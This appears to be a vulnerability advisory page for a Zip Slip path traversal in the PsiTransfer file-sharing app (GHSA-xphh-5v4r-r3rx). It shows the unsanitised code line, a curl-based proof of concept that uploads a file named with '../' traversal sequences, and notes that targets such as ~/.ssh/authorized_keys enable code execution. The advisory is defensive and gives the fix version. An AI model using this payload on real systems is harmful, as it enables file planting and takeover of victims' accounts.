# GHSA-xphh-5v4r-r3rx: PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

> Unauthenticated attackers can achieve remote code execution by tricking victims into extracting a malicious TAR archive containing path traversal filenames.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 30 Dec 2025

## What is GHSA-xphh-5v4r-r3rx?

GHSA-xphh-5v4r-r3rx is a path traversal vulnerability in psitransfer, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

### Official description

### Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

### Details

The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

```
lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size });
```

```
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');
```

### PoC

I. Upload file with malicious filename (no authentication required).

```
MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 15" \
  -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"
```

II. Complete upload with PATCH

```
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -d "MALICIOUS_CONTENT"
```
  
III. Victim downloads and extracts TAR

```
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz
```

### Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive.
RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc...
No Authentication Required: Default configuration has **uploadPass: false**.
Social Engineering Vector: Attacker sends malicious download link to victim.

## Which versions are affected by GHSA-xphh-5v4r-r3rx?

2 open source packages ship an affected version, including psitransfer.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `psitransfer` | npm | All versions | 2.3.1 |
| `psitransfer` | npm | All versions | 2.3.1 |

## How do I fix GHSA-xphh-5v4r-r3rx?

Upgrade psitransfer to 2.3.1 or later.

## Is GHSA-xphh-5v4r-r3rx being exploited?

There is no known exploitation of GHSA-xphh-5v4r-r3rx in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-xphh-5v4r-r3rx and fix it if it is affected.

What it is: GHSA-xphh-5v4r-r3rx is a path traversal vulnerability in psitransfer, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-xphh-5v4r-r3rx in the wild and no public exploit code.

Affected packages and fixed versions:
- psitransfer (npm): affected all versions; fixed in 2.3.1
- psitransfer (npm): affected all versions; fixed in 2.3.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-xphh-5v4r-r3rx/ (Markdown: https://insights.sbomify.com/GHSA-xphh-5v4r-r3rx/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-xphh-5v4r-r3rx

---
From sbomify Insights: https://insights.sbomify.com/GHSA-xphh-5v4r-r3rx/
Summaries are generated and may contain mistakes; the official description above is the record.
